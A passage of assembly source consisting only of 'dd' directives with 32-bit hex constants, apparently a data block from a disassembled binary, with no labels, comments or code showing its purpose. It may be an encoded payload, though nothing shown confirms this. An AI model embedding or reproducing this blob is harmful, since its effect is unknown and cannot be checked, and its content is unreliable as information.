		dd 40C05A50h, 88B6DE9Eh, 0E6D406Ch, 65142FCEh, 55F6ED40h
		dd 30623E17h, 3DC2E98h,	61315B53h, 773EB8DFh, 69DC7E01h
		dd 0B57D8044h, 0B9617D3h, 3A11510h, 90E2F405h, 915E1D28h
		dd 2698E5F8h, 7C23431Fh, 7E810200h, 0A05BC448h,	50E3B5F0h
		dd 6A3594A1h, 80981487h, 6719980Ch, 43DB0EBh, 0D4A42EB9h
		dd 2A5D2238h, 187CBEh, 6B2AE583h, 0D923B355h, 70D8BF31h
		dd 20E1E114h, 26429C42h, 0D1258984h, 0C964125Ch, 45F9B3B8h
		dd 4C7371D8h, 92C090C0h, 0EAF49E0Ch, 4A17C200h,	1D58FE34h
		dd 7CA519ACh, 2A8FC0A3h, 85C07430h, 0B0A900D6h,	74574BBDh
		dd 7F01F658h, 4D411E05h, 5042E671h, 0A2720408h,	56171148h
		dd 87A41900h, 4D33ADDEh, 0CECFBF0Bh, 0D2EC02FAh, 93608248h
		dd 293862C5h, 9C844C08h, 0A2404010h, 0A301AF1Dh, 2BCEF056h
		dd 82DC480Ch, 906C5C7Bh, 84105A2Dh, 0C0EB15E7h,	54127F68h
		dd 0D831949Fh, 0A5F8EC2Fh, 0AE0EDh, 166F7CF0h, 86C3837Fh
		dd 0B889D52Ah
		dd 0B459D229h, 2B49D78Fh, 55706971h, 62FBE511h,	489E05D4h
		dd 80EBF856h, 8D787022h, 6021D72Ch, 44109849h, 6E66385Ah
		dd 4F493D07h, 0D8C341ACh, 38C4799Ch, 0AAE91CBBh, 44FE2980h
		dd 2B68B8h, 70D4353Fh, 0C2BDDC87h, 0CC8F509Ch, 30C596B5h
		dd 20088E3h, 73AE4941h,	0A32E17FAh, 6F024447h, 0E67CFFC9h
		dd 0B11900CCh, 0A29DC7B4h, 6C0E94F3h, 89055BD0h, 14F804C1h
		dd 4F20948Dh, 5F511967h, 0F35BF9DCh, 0DF494Ch, 4709B1B0h
		dd 132F0BAAh, 427351EDh, 2DA06FA0h, 0D860C720h,	0DC2F3B15h
		dd 0F45AA705h, 0F08AC6h, 64A022FDh, 133EFCh, 8669D7Bh
		dd 99924341h, 5C909E17h, 1F1349Ch, 0A2662E62h, 498BA00Ah
		dd 0A231B9D4h, 0C3DD44DEh, 7E39C200h, 0A4FE6E60h, 0E28A027Bh
		dd 717D8858h, 0DA40685Eh, 1E1B324h, 81EE49BAh, 60B2FD53h
		dd 5CA12310h, 88381085h, 600C009Dh, 0FE50A404h,	5FE4F0D2h
		dd 0B4C49100h, 0E6C68D57h, 5CD52281h, 1A6F842Ch, 101DD316h
		dd 0EE11E1h, 6B53392Dh,	0F9A7C6h, 94081AC5h, 4181BDFAh
		dd 0DDA88507h, 1004DF83h, 22FF88D2h, 5CC5FCD9h,	39D37E80h
		dd 24E96D45h, 3DCCB918h, 0A1EE8644h, 0A37F29C0h, 7087DD7Ah
		dd 0DA9C240Bh, 272F11F4h, 0ED5810BEh, 0D1800570h, 0A2BB166Ah
		dd 44CA0390h, 0C9EE010Ch, 1E7097B7h, 0AC1B00BBh, 6F9CA35Ah
		dd 375D56BEh, 287F0158h, 5B7B96C8h, 7B1029h, 7C0F972Dh
		dd 2CF0507Eh, 384DA52Eh, 38B23492h, 371B8322h, 0C0C159EDh
		dd 4ADC1A9h, 29356893h,	650C819Fh, 215301DBh, 44581C63h
		dd 1728E500h, 1A719A43h, 643E4CB8h, 0DC007035h,	0FF6DB37h
		dd 0A924E4C2h, 29D05950h, 7A7D000Eh, 5FEFE399h,	342EB905h
		dd 0ED6550E4h, 0ED1700C8h, 78C0703Fh, 0FB00A9ACh, 0D7A8BF7Bh
		dd 0B0167DF0h, 34AE95C4h, 6C83256h, 10D2E891h, 3D7AF3h
		dd 8C20FEBDh, 79D9A51Eh, 0E79BC003h, 9EA364Bh, 6876D2E9h
		dd 859C9C23h, 47434900h, 27DC0373h, 0AB8B00D7h,	393532BFh
		dd 6419373Bh, 0BE309D7Eh, 698B703Ch, 11538300h,	0F900CA68h
		dd 0BC918092h, 1D1C9F72h, 0C12A839Ah, 1535EB7Ch, 0C8B44819h
		dd 0BCC9197h, 0CC6AD8h,	0C7495A07h, 32EDE243h, 0B233D51Eh
		dd 95E5013Fh, 5A9AD78Ch, 19075462h, 0C38ABFEBh,	9EC0567Fh
		dd 0F2FE7293h, 642A330Eh, 5CB0C169h, 0D06051D6h, 9359400Dh
		dd 7F9AB83Ah, 5EC75648h, 0DDD70C21h, 16847B08h,	90F380FDh
		dd 0A5784168h, 370DB500h, 0E4FF1E09h, 0B84D7615h, 0D4D25098h
		dd 417096D5h, 0F1B5C151h, 58203A40h, 123DA2DBh,	1FD7819Dh
		dd 793E22CCh, 3317145Fh, 37EB80E8h, 2E45A674h, 155301Ah
		dd 986742E6h, 22D3FCADh, 3FE0C353h, 8E383A05h, 0E0D45CAEh
		dd 3D529386h, 5F210382h, 889AF7BCh, 807CD952h, 8217FE10h
		dd 58D60445h, 91B55B83h, 0D4B88C10h, 0C5C07C6h,	0C3728D0h
		dd 4B036B0h, 819AAD39h,	0FD99A233h, 0E8749854h,	1EB0A10Bh
		dd 3862448h, 0C06F0E97h, 890223FBh, 98467DBEh, 478CE18Bh
		dd 0D18602CAh, 849610DAh, 24CC3A40h, 49A80BE2h,	680CB186h
		dd 590A02AAh, 0E85B260Eh, 5FA51860h, 76BF0036h,	969B2F66h
		dd 1E0044CBh, 1402A2B5h, 9C215B82h, 209C167Ch, 5D768614h
		dd 7F7ED500h, 3529E74Bh, 9F74F5h, 61929CADh, 0DD011BE2h
		dd 0A186AC20h, 0E9806C18h, 2EA7DC37h, 51CE8E9Ch, 8053A907h
		dd 226D4E9Ah, 1AC7719h,	11FA326Fh, 0DC2F7975h, 7D0EBC29h
		dd 40C8454Bh, 2DA6A88Ch, 0C960BA3h, 48228DE7h, 2460D7FDh
		dd 4896972Eh, 0BD28C0EBh, 0C0A41AAEh, 2C879117h, 28C00B56h
		dd 1F1C55E6h, 0AD15A382h, 0C07A2E60h, 440C3162h, 80425C60h
		dd 437F80DFh, 0E61EFAC4h, 8ED13607h, 844F02A3h,	6CE48772h
		dd 0BE243E5Eh, 0C4E14225h, 0AC3C0DD7h, 0C227E5C4h, 0DD115364h
		dd 0DE4D9510h, 4B8A1F00h, 487FAD5Dh, 5645029Bh,	0ABE53812h
		dd 1101FCAFh, 3E5FED31h, 3072BC41h, 8C4525BBh, 0E033A489h
		dd 0BC143200h, 0AE1ED224h, 457FDA00h, 0D9A3E413h, 253AE3F8h
		dd 0E78C306Ch, 5C58D26Dh, 7AA4D02Ch, 23EF3400h,	323A1B05h
		dd 0E035548Eh, 0C418B529h, 0E6009B2Eh, 0F1F5158Ch, 721225F3h
		dd 23750437h, 0E8A3B9BBh, 5A68801Ch, 73AAAB4h, 1D180C67h
		dd 0BAE930C9h, 0CF58BE7Ch, 1C274A29h, 599BDEA0h, 0AF390741h
		dd 0E0A2311Fh, 4D53909Dh, 1395813Ah, 54B2F65Ah,	9D0D729h
		dd 81FD365Ch, 0F134DAFFh, 0FC01D463h, 394BB50Dh, 594220F5h
		dd 0C9F800Eh, 32C3078Eh, 0DBC06250h, 9CC24A5Bh,	0A9007FE0h
		dd 769D5550h, 554FD5A0h, 4DEB077h, 0FD5521ABh, 9CC04C57h
		dd 1C4A9D42h, 0CE458C7Eh, 11C9507Dh, 0E207746Ch, 0D8879D7Ch
		dd 29F0C41Bh, 1290C347h, 3DD0E25Ah, 78F5805Ch, 0BBBF1545h
		dd 24100A1h, 0F8FB2EC6h, 0F12D1953h, 36A0107Fh,	0D61B00C2h
		dd 89F27413h, 9FE2F42Ch, 0F36ECF00h, 47B63310h,	0BA010006h
		dd 9E3AAED2h, 0C8A424D1h, 0AF003777h, 2C02B942h, 13BB453Bh
		dd 0F4FDC0B6h, 0EB443188h, 2C41004Bh, 0C3699387h, 0A400531Dh
		dd 7EDDF89Bh, 558F698h,	0F4ADBA17h, 0D69423A7h,	13DD8C00h
		dd 0BF57F7DBh, 0A3722E91h, 0C2510874h, 0D7897D80h, 3C8AA2ADh
		dd 0B91287FAh, 158804E2h, 0F014CD55h, 0AC00D3D7h, 24E02CA2h
		dd 421428h, 0C7FE06CDh,	0BB326C2Dh, 0F8D8224Eh,	0F9748657h
		dd 247E1188h, 40B89D78h, 0C657BB8Fh, 8BEE1700h,	23F1F31Dh
		dd 0CF2A05BDh, 8C1987EBh, 0C327A9B4h, 0C04044B5h, 0BC26D15Ah
		dd 2B986821h, 37394F07h, 61B2E35Fh, 0BDF451FBh,	9C3BDF84h
		dd 0D134C27Ah, 0A2F80913h, 0D4F159EFh, 0D21F4824h, 3330112Fh
		dd 0FD00AC29h, 51524401h, 410E5FE3h, 207E15ADh,	0AB405A2Eh
		dd 22A409B4h, 18D984BCh, 0E865CF03h, 0ABD4A853h, 0CE8C0DD1h
		dd 0EC712021h, 0F902DB2Dh, 0DD30DEBAh, 4054DC28h, 8E866740h
		dd 0EB13B7F6h, 0D8E25D94h, 0AE4B5300h, 6B0DCC01h, 3D3A8D00h
		dd 0D1BBFC43h, 10910704h, 497CB2D5h, 280900F0h,	0FA505388h
		dd 2BE7AB0h, 0FCA37F54h, 0CDE4DDCh, 0AB30F791h,	0D188FEF4h
		dd 644E49ECh, 9A6387EBh, 706427E4h, 4A0F3500h, 0B71BF3FCh
		dd 8A9F22F1h, 0EB674F00h, 3A782BC4h, 5F4007Ah, 0D010C79Ch
		dd 7724D475h, 0B5048F0Ch, 3884DF61h, 4F8708A8h,	3347A0E3h
		dd 26006906h, 0A5A63682h, 4D6D13Dh, 0BB2C9884h,	3874CC28h
		dd 0C3E65007h, 0F6A0E47Ah, 17564B51h, 94E2903Ch, 9EA03050h
		dd 8001329h, 3915B1B2h,	7562BECh, 112545D4h, 14F5226Bh
		dd 1198DC41h, 302F7988h, 3AF17B6Ch, 0D59FD402h,	0DE4236E3h
		dd 0B62AE2FCh, 6C525302h, 2812BD64h, 0B5BE6C81h, 99787984h
		dd 3009FF11h, 0FD5AD79Ah, 0E420A817h, 1FD40F09h, 739250h
		dd 892952FDh, 0F912D6E6h, 0E000BB5Fh, 0B56B8A6h, 5B90BC38h
		dd 0A1D69011h, 0EA2E16h, 0CB065650h, 0E09E43E3h, 82336E02h
		dd 873C81D5h, 226FFAD9h, 68DC5A7Ch, 0D086DC62h,	0A4E92248h
		dd 0DE878816h, 25803CA2h, 7863A857h, 0F70E49F8h, 80289C0Fh
		dd 0E7A0F01Ch, 3ED60E1Dh, 4F30D5Fh, 199613DCh, 5C085280h
		dd 9EC23899h, 3F405AF3h, 740036DDh, 26C51F05h, 157A338Eh
		dd 626EFFEh, 0E10143D3h, 0FFFBC0F5h, 0CCC0B82Dh, 0F6378538h
		dd 1304C6E6h, 0EA57A504h, 944898A8h, 46534A0Ah,	0B5A70BE8h
		dd 5FCAEC63h, 2E510706h, 394DDE6h, 86C1B785h, 0A0E4E8DDh
		dd 175D4AFh, 61291BF1h
		dd 0FCCF79F7h, 0B11D0615h, 5745BF5Ch, 0BF845EFFh, 7B808804h
		dd 25C87824h, 4CC9A783h, 0D3221F94h, 7FD442FAh,	0F8A67177h
		dd 0E4203179h, 7E10FCC5h, 73110919h, 0F450DC35h, 9886DE03h
		dd 4E3DDA87h, 0A1548829h, 79CD8300h, 0EF7803B4h, 9D989CFFh
		dd 40C06686h, 71EB5B5Ch, 372E800h, 0B5487C42h, 8CFB2AE6h
		dd 0D8770388h, 0C9479D99h, 0A3222DE0h, 786D0500h, 4BC4043Dh
		dd 1CF891Eh, 6F00954Eh,	0D8503E17h, 0DB5D92C0h,	80C9C3F0h
		dd 7C2FD8D0h, 98AA178Ch, 2A14886Eh, 17EE288h, 13F2284Dh
		dd 20B638BBh, 0A11E198Ch, 3D58B0h, 0ED1FC65Fh, 0A8942A5Ah
		dd 1E717B8h, 5057A352h,	3D98B15Ch, 0A0358EF8h, 0D8B4E710h
		dd 236C00F7h, 0DA6D8AB6h, 0BC0BF547h, 481EF35h,	0B8E962B2h
		dd 80DF5910h, 642E1114h, 0A690CB35h, 0FFD4AC98h, 2473B200h
		dd 8728EED8h, 994305B9h, 0A45B8FE6h, 0A5E855E0h, 0C5D89Fh
		dd 0DDA9D539h, 0B558C791h, 180D5C01h, 0E824D234h, 519C318Ch
		dd 0EF0B5B61h, 0E8A1C7CBh, 2C487FC8h, 1734B4A5h, 0A040C238h
		dd 477CF0C4h, 0BB0CB01Eh, 0C290AA00h, 2FC9A902h, 0C31F976h
		dd 77D21006h, 8290966Dh, 9ECC41EDh, 4B0510h, 2CABD51Fh
		dd 54D878FAh, 12096700h, 0C4E56149h, 0C8285E7Ch, 84B6BB58h
		dd 5A03D941h, 0FB64312Bh, 81801755h, 0A9677D32h, 7C6933B8h
		dd 7355017Dh, 169F0C9Eh, 0B8EC20D9h, 0A30E0503h, 0E25BE430h
		dd 80848F94h, 0BCC149B9h, 5C51256Ah, 860068E4h,	34A296ABh
		dd 5B875DE7h, 88A48394h, 198C812Fh, 407F5B18h, 0EB743D10h
		dd 28008DDCh, 43FDD96Ah, 0C31517h, 9425D3E2h, 48AD85C5h
		dd 8C5F502Eh, 2078E84Dh, 4CC88DD6h, 38004080h, 25688992h
		dd 0B93D541h, 7F2B53CAh, 8E003CF1h, 83820901h, 0C99B18CEh
		dd 1A6650BEh, 88A4DB24h, 0D9270339h, 2DD80B15h,	0F0404C71h
		dd 7C40A249h, 0CE90146Fh, 53824483h, 5882DC56h,	4C7458FFh
		dd 4847CB51h, 0A1918028h, 0F24F86CAh, 486EC126h, 31526502h
		dd 5D0E434h, 3C7B0B2h, 9277C0C9h, 0BF005DC3h, 0A6C2DA2Ch
		dd 144EF776h, 3451EFD3h, 0C435EB00h, 5A6059D2h,	4282DC96h
		dd 0D4E4286Ch, 9F40830h, 0B9600826h, 8533Fh, 43E63C5Bh
		dd 0DCFAE50Eh, 0EBA474F9h, 30A6C898h, 86D15B07h, 0B889D5ADh
		dd 1D09994h, 0EFC65D7Eh, 709F2259h, 0B09EE15h, 9955E647h
		dd 5C288604h, 18BC838Ah, 55E5615Bh, 0DC688C2Ch,	0C4383D00h
		dd 0C317B87h, 0D55B8454h, 1B0993D9h, 1495101Fh,	464938ECh
		dd 0F47E7A82h, 0CE49882h, 0B9EBDB22h, 81FE00BCh, 0FAB385F7h
		dd 0F6305900h, 2EE1F537h, 7DD702E6h, 7C882D46h,	10A368E9h
		dd 0B66A41D2h, 0A4C8A724h, 8800E8B8h, 7FFD329Dh, 145AEE0h
		dd 5255A772h, 48A4FE14h, 0E5FB84A8h, 8AC450F2h,	230D97Fh
		dd 9519C159h, 260787Bh,	27FCA328h, 467E737Fh, 0D3357000h
		dd 9838B81Ah, 46F00028h, 492847B5h, 450E7CC6h, 45D25F8Eh
		dd 94255B4Ch, 88C2948Ch, 0B8A417D9h, 3282E63Bh,	5E371157h
		dd 0F28E41D0h, 116B6024h, 0C6C0707Bh, 6BACDC1Ah, 98BC4C38h
		dd 7C00B63Fh, 7B833750h, 0B528B97Dh, 537BCC5Eh,	2D709F5Dh
		dd 84E428h, 0BA59F6DBh,	7ACE2BD2h, 8D76A37Ah, 0B23943Bh
		dd 0D88779FAh, 1059487Ch, 0DB98C9C0h, 0A400376Fh, 868B01DDh
		dd 0AB189B7Ch, 0E1D5B9C4h, 4088319Ch, 437CE038h, 0B502A6B7h
		dd 0D836FAA2h, 0B50D128h, 0A80ACB0h, 1FFC559h, 0CB314100h
		dd 1D07E135h, 0D0344B25h, 0A8E95A8Ch, 37D74800h, 62EC5CC0h
		dd 231A0003h, 6333AF22h, 0BB082CC7h, 29814F4h, 0DEE1646Ch
		dd 0B70150D1h, 37A347E9h, 0B5286429h, 519E24D8h, 0F6846048h
		dd 6200893Eh, 0C8ACFADAh, 6EDAA12h, 0FB1A4AFCh,	0B26619Eh
		dd 6660EC46h, 1304994h,	9A72F8B8h, 22CFAA55h, 0D4D624B4h
		dd 0E8958h, 0DE5C6FD4h,	0FD470F10h, 0D9CE5A04h,	88BC54F9h
		dd 2407B88h, 176F7C41h,	0E255ED2Eh, 21E033DCh, 355FE117h
		dd 966F1982h, 0C05AFB18h, 0E369BF02h, 5735E7B8h, 0F9900B61h
		dd 4A54784Fh, 0E233D420h, 7C8EAB6h, 239E75E6h, 0A39BA0ECh
		dd 43251902h, 585CC4C5h, 0FD2762E1h, 552204E4h,	803C992Bh
		dd 0DD5D95B7h, 0F000F20Bh, 9C92BEE0h, 2FD4D3Dh,	42CEC346h
		dd 54604C85h, 1453D9D6h, 0A9830F80h, 0C31A0218h, 8190C034h
		dd 24119584h, 0E974E8EBh, 388B3B1Fh, 96ECF444h,	0FA80E4A9h
		dd 83FD05FBh, 0BC6CFF0Eh, 0B7F0A066h, 0EA8A241Bh, 0E9192981h
		dd 746827D0h, 0D000FFE8h, 6A150D9Fh, 0EABB5F2Fh, 13BA0001h
		dd 0B238005h, 5A4E9D71h, 0E6281840h, 6E301ACh, 2C9E128Ch
		dd 0D72261CCh, 3EC98D9h, 0A96520AEh, 82D4D45Dh,	0A0DE1E8Ch
		dd 576F789h, 0D8DCDEE0h, 5A489655h, 9D801560h, 188020BCh
		dd 78D73A1Ah, 6B06007Bh, 4D52EA4Fh, 0F33BB145h,	28D90A2Ah
		dd 0FB89B4FCh, 80F45386h, 37D5D8C5h, 0AF00D380h, 4A3C17F0h
		dd 5884FA44h, 0DA0AADEBh, 0A5C4E6F3h, 0D3B000C0h, 9C2748B8h
		dd 46C4E8A1h, 42DD02D9h, 0D487711Eh, 0A300D0D9h, 7A8F1B4Ah
		dd 0F39E2238h, 67E7DF1Fh, 52BB00FEh, 8143B6E6h,	0CCC149D5h
		dd 0A25CD212h, 0C2E3801Ch, 0A0B828h, 4890DDB3h,	30AB7E4Eh
		dd 72D4F70Fh, 821E61FDh, 0F049EFDCh, 5C7100C7h,	8CD4CDF0h
		dd 0FD01FECAh, 5D9872B3h, 884C9508h, 151A0024h,	0D33E69AEh
		dd 66008C65h, 554EA1B1h, 260C491h, 4BBE88E3h, 0F8569F54h
		dd 0AB019440h, 103C007Ch, 0C4D87F04h, 0BF019A96h, 64282CC8h
		dd 27E8447Ah, 0ECD258A3h, 6DD5E180h, 3245DA82h,	8C2E77F9h
		dd 0F00056E4h, 0A248EA16h, 2C3904FDh, 3C68E41Fh, 7F55B589h
		dd 0E0030C59h, 0C072601Ch, 7389A1h, 872FC4ABh, 51CBBE1Ah
		dd 9E59380Eh, 0D6940007h, 9519826Ch, 0BB287CECh, 0E112F454h
		dd 90E708FBh, 669CDC00h, 0D8FA05F2h, 9AF31601h,	0CC9F63D3h
		dd 9CF8077Ah, 21D64075h, 8E12A26Ah, 6420F446h, 990C49Fh
		dd 0E05C33B9h, 0A8C6D4A9h, 67323707h, 781394ABh, 1CC2F007h
		dd 49391F9Eh, 1ABB413Ch, 0D4482E41h, 9BB527A8h,	0B3E9B83Ch
		dd 113C001Eh, 4D12AF39h, 0D89209C4h, 0E58544h, 180A4446h
		dd 8A1936D9h, 0F3F1E400h, 0A8D3615Dh, 874704FCh, 0ABEFAF11h
		dd 1C169430h, 0FED92FA0h, 47BEA020h, 8E007223h,	0D18CA3CDh
		dd 5E86C01Ah, 39C4CCDEh, 40302F4Ah, 4B5BFB8h, 2A8279E7h
		dd 8018BC3Eh, 0EEE42943h, 0CF95006Bh, 1D8C71Ch,	0EA0225F5h
		dd 0AA2A10B2h, 8764C14Ch, 4C64C84Ch, 94007760h,	0F4270B02h
		dd 0B0099E1Dh, 8443E96Ah, 0E2455BACh, 284309Bh,	6006825h
		dd 0E4CFE09Ah, 3CB1163h, 4A605A5Fh, 9EB84E1Eh, 5491FCC0h
		dd 3D92F82h, 62987953h,	0D7205F01h, 2E166EF3h, 0C2788218h
		dd 0B8E17EE2h, 80F8148Ah, 0E95FF980h, 581F2FC7h, 7BC56709h
		dd 78B99A74h, 0C2AF44C5h, 8CD983E4h, 0A2E8003Dh, 0BD48E929h
		dd 0C918EE33h, 0BC7AFC90h, 14575327h, 7BE300A0h, 15705D9Eh
		dd 0CA25DE37h, 9F88CE41h, 942FC030h, 5006C014h,	69598880h
		dd 0CA3FAC51h, 401820E4h, 7D2C88A4h, 0D1606079h, 3DCC463Eh
		dd 3D047123h, 0AC84EF82h, 99D6044Ch, 0C486115Eh, 53801318h
		dd 21E4E25Fh, 6E106015h, 2100A891h, 0AD409CCEh,	0B0CB5189h
		dd 1D9F0F3Ch, 0FF6EE0F3h, 56E920E2h, 0F6830C5Ch, 0B8B12D5Fh
		dd 781E82A3h, 0C97262D1h, 0B041AA37h, 39002C02h, 1CB64A50h
		dd 79CE9900h, 7D7666C5h
		dd 46B8DE01h, 0EA17FB1Bh, 3C000473h, 0AECFABCh,	4B50839Bh
		dd 4F72E1B5h, 26195602h, 40EB61F2h, 2D82BE84h, 3C389269h
		dd 6C0118D3h, 0AE99D137h, 9854B5D2h, 19F020BEh,	0B700BE23h
		dd 370F0DC2h, 1D62E71h,	513A4010h, 7CE814E7h, 188918h
		dd 12ECC5A2h, 387A7045h, 3080F3B3h, 540C6971h, 99B740D2h
		dd 960C5F54h, 59D22B14h, 7C305A10h, 979FA37Fh, 0D5E6E8C8h
		dd 37124C9Eh, 8580DCh, 0CB39FB16h, 5B01D2FDh, 2B6D13Fh
		dd 0F4B79DDAh, 0B6C8D01Bh, 0A0004E4Ch, 628B9054h, 63090201h
		dd 949F5652h, 0E9802838h, 1C4008ADh, 34E6A100h,	58503CF1h
		dd 91422AD2h, 0E38F13C8h, 0C8FC121Fh, 450B8804h, 0B0DF5811h
		dd 2C5DE510h, 1D4884E9h, 803B2124h, 719843F3h, 96545B7Ch
		dd 0E0A69578h, 4B8BE30Dh, 1855F2C1h, 2F15844Ch,	0A8AF0DDEh
		dd 96C3AEE1h, 0E34C3049h, 0A0698113h, 8D381020h, 0A42A0363h
		dd 837D1D6Ch, 86966988h, 0F6BFCD00h, 0A3AB11ACh, 0B80202DBh
		dd 435B5379h, 2E017C5Ah, 18ED7CBCh, 0D02BDBE5h,	0D586DEB8h
		dd 0B0C3BB2Dh, 134F0260h, 304E434h, 89830DBCh, 0B820505Bh
		dd 70BBEB14h, 0D19B00B3h, 56B5C751h, 31227C81h,	0DB9207D6h
		dd 408729DAh, 64D4798Dh, 22D12F09h, 846004DCh, 0F459A0C2h
		dd 6A3E71A0h, 0A75C2C44h, 85E00852h, 0A48178A9h, 0EA58BCDAh
		dd 0F4F0DC28h, 0DA049402h, 0D29FFE0Bh, 0EC80B8FCh, 0E39AE14Bh
		dd 52536400h, 49CD2C88h, 19FB7D1Ch, 3075BB93h, 3702CA0Bh
		dd 6AD89134h, 1115DF0h,	9D30710Ch, 48C3A9D1h, 5526E184h
		dd 2D1C6449h, 0D0341481h, 607031AAh, 213716E6h,	0D5900222h
		dd 0D204C349h, 0E892A0ECh, 72FB80C0h, 0AC1E24Eh, 0CCCA64FCh
		dd 568160D4h, 0A5768385h, 7DD57005h, 20CD5829h,	0D345F4h
		dd 106F94Ch, 0C6976E89h, 0D19AFB1Eh, 0F4AD6180h, 5B5ED2F6h
		dd 0CDD4C87Ch, 9B234B1Eh, 0B5AE7D80h, 3A884F36h, 6C14DDE5h
		dd 0F7256CE4h, 6E4BB4C8h, 18098000h, 0F26DEE31h, 0BA2200EAh
		dd 21E172A9h, 98077050h, 7135734Ah, 5705C0B7h, 0D980ACE3h
		dd 0AC37DEF6h, 56A2B227h, 0C002550h, 0D122D294h, 59E6AE7Ch
		dd 6A089B1Fh, 7412F4D2h, 6FB898h, 4893D7ECh, 2AA78C91h
		dd 630045FAh, 274401F2h, 26994B28h, 2433FE34h, 466F602Ch
		dd 621F6D02h, 4C2EAFBh,	594956D4h, 69BE80B8h, 51B99AB0h
		dd 36D1C007h, 0C4B97C49h, 92A00020h, 0FC111F7Fh, 3700558Ch
		dd 435D3612h, 0F75F0B4h, 5E7980D7h, 58987C29h, 8700FBBEh
		dd 352C6ECEh, 42AE4FFh,	0D268D47Ah, 0D224ACDFh,	6D001AFCh
		dd 0C646AB1Fh, 5725263Fh, 0E98D828h, 83F8D9DEh,	655E2F91h
		dd 6D373C5Ch, 0F050E060h, 0C35ACC85h, 101C0891h, 0A07C46F1h
		dd 6263F980h, 0A00E747Ah, 0CF31FCh, 6AEE1D11h, 0F92300D4h
		dd 6C49BE37h, 5C265D53h, 0F70B1DA8h, 235800CAh,	0EBE94C3h
		dd 7D57F144h, 1DB94300h, 490462BFh, 9250847Eh, 0DE9378D2h
		dd 0B5B905CCh, 1028C844h, 18F3A62Ch, 70865D60h,	0F1701Ah
		dd 0A8073A27h, 7E734C0Ch, 0ECF4400Dh, 8C635094h, 0F3B45201h
		dd 0BE3B29DBh, 0CA2AB876h, 43D1BCC1h, 0D5846066h, 3C33AF8Eh
		dd 0D8FFE0E1h, 7618027Dh, 73CF2428h, 2C4034FEh,	97FA57EDh
		dd 7102FC96h, 0F3D13549h, 780525Ah, 55F0203Ch, 44803F1Fh
		dd 6C821815h, 0EC4697h,	0BFE1461Dh, 18F29577h, 6E12BA00h
		dd 9E431B4Dh, 5CC4885Eh, 0BDD65A17h, 64A2D016h,	0A901CC00h
		dd 6C69782Eh, 0A01FF916h, 1A99ED04h, 1B5088Ch, 607F7D24h
		dd 0F8D501BDh, 64F8C8Bh, 114AE40Fh, 61D4884Eh, 4E9238h
		dd 0EE0C26C6h, 122F465Ch, 1F0F91BAh, 53BF80F3h,	458B1766h
		dd 9C5B512Ch, 9420F71Dh, 7D83610Ch, 80A47879h, 8BED449Ah
		dd 54210165h, 0C10B416h, 4C82B50h, 106F60Eh, 1E2D1D9Ch
		dd 0C82F3DB2h, 8F00C008h, 67507FCEh, 4A8E6A0Fh,	80105F9Dh
		dd 1C5C1F7Ch, 0BD00931Ah, 6443B9E0h, 218EA11h, 0A2A4E3ECh
		dd 905DA99Fh, 0B18F51D0h, 0AC6B4B4Ch, 42806EFBh, 0F4069082h
		dd 0FE5FEFD7h, 6784BC29h, 58D85BE5h, 408A5A74h,	461D168h
		dd 0F4B5A874h, 368A489h, 48BE5B44h, 0E04B182Ah,	0ED223868h
		dd 0A061955Dh, 42387045h, 99CE049h, 7E6C18D1h, 0F1D74070h
		dd 0B974C9ADh, 0F27592EEh, 0D97FA4A8h, 7C15CE01h, 0D06DAD43h
		dd 5F65E470h, 0EB3088D7h, 84ECB21Eh, 8E07A457h,	0C5C5368Fh
		dd 84B4D853h, 0F82284E5h, 0FBE21355h, 10C84596h, 6DD888A0h
		dd 1A225B00h, 577C0F0h,	0A3921EDEh, 6945C271h, 0E0E8BDC1h
		dd 86EECBE1h, 0C259DC16h, 1FD4898h, 8EE6B0F8h, 2BA3E073h
		dd 9932C8Ch, 3FD87714h,	70E79041h, 792E8A4Ch, 7AC4E887h
		dd 8F887038h, 342F9531h, 0C816488Bh, 750E5707h,	3BC1EFC7h
		dd 0F472A33Dh, 2FB0884Ah, 7BD00B07h, 0D8E16E2Ch, 57708363h
		dd 0B5BA024Fh, 42EEC4E0h, 8B67066h, 1780D165h, 0D47094h
		dd 0EE1EFBCDh, 9B5679F0h, 0DCAF117h, 7D9CB020h,	3091005Ah
		dd 5D1AE37h, 0B548E1EFh, 0B638017Bh, 121F185Ch,	0E0D5F443h
		dd 329CA261h, 0BEB084E4h, 2E3024E6h, 80B086D1h,	40F81E13h
		dd 527C5689h, 90F8A028h, 0A0E6DE40h, 1158889Ch,	1EA25FD2h
		dd 0F325D386h, 0FBB38098h, 46C73D23h, 441C8402h, 827E959Ch
		dd 7729C6D0h, 3401D40Bh, 337F5739h, 65A900B4h, 0C924F896h
		dd 9B400C3h, 0A26E83C1h, 9D019BC2h, 449EDB1Ah, 0D064B5DCh
		dd 0A5544B53h, 80003CACh, 0A899EE89h, 0CF8B0060h, 15965A24h
		dd 2AEB9F46h, 994598C8h, 0D04E3E84h, 63690714h,	7C546E00h
		dd 255A4419h, 22C49010h, 0D93EC05Ch, 0CCD4A14h,	6054C8A6h
		dd 0B728824h, 0F3A93F00h, 0F25D173Dh, 41DB186Bh, 7EE2B92Fh
		dd 0C1AC284Ch, 63BC1C0Fh, 3A2ADCh, 0DABEB808h, 0CA470D5Ah
		dd 0EB929F04h, 0F4F49D64h, 0CA77281h, 333C89F7h, 0DC0314EAh
		dd 449B5ECh, 61CCE220h,	9C296A5Ch, 55B84DC0h, 9201DCD3h
		dd 8FE4621h, 34E430A2h,	0A53E172Bh, 28904905h, 980E74C4h
		dd 409A6F9Fh, 0D238DCA9h, 195802B6h, 34D8A8A1h,	8F3AF050h
		dd 0F0A42777h, 8DD52EBCh, 40DD6478h, 0D138F99Ah, 17A1009Fh
		dd 86C5EFBDh, 109CE2D5h, 97F4EEh, 3D167AD8h, 0E1F2A5Fh
		dd 0E57BDA98h, 88561B89h, 1C3D6F40h, 712C09EEh,	30FA5AA4h
		dd 0B1B876F4h, 661FB31Ch, 35D1987h, 0B5D0E421h,	54625D61h
		dd 0D989D449h, 0E617F8E4h, 54521046h, 0EDE034BCh, 0E000D23Eh
		dd 0F5B90EA7h, 2B2A9DDh, 0A4556F05h, 471E817h, 0D0ED370Ah
		dd 0A8F28213h, 27E37178h, 2CE0D55Fh, 45000441h,	0DE157CC4h
		dd 60A7FBE6h, 380B8090h, 0C07D9BE7h, 70DC834Fh,	54FAACh
		dd 74EA19E4h, 88265B21h, 8046783Ah, 730950A1h, 5261D72Bh
		dd 74001CFBh, 0BE8979E1h, 0F700C59Fh, 15D6B40h,	28AAACBh
		dd 487DC44Dh, 88DE28D5h, 0C0099E13h, 0E0DCFC53h, 0ED298FB1h
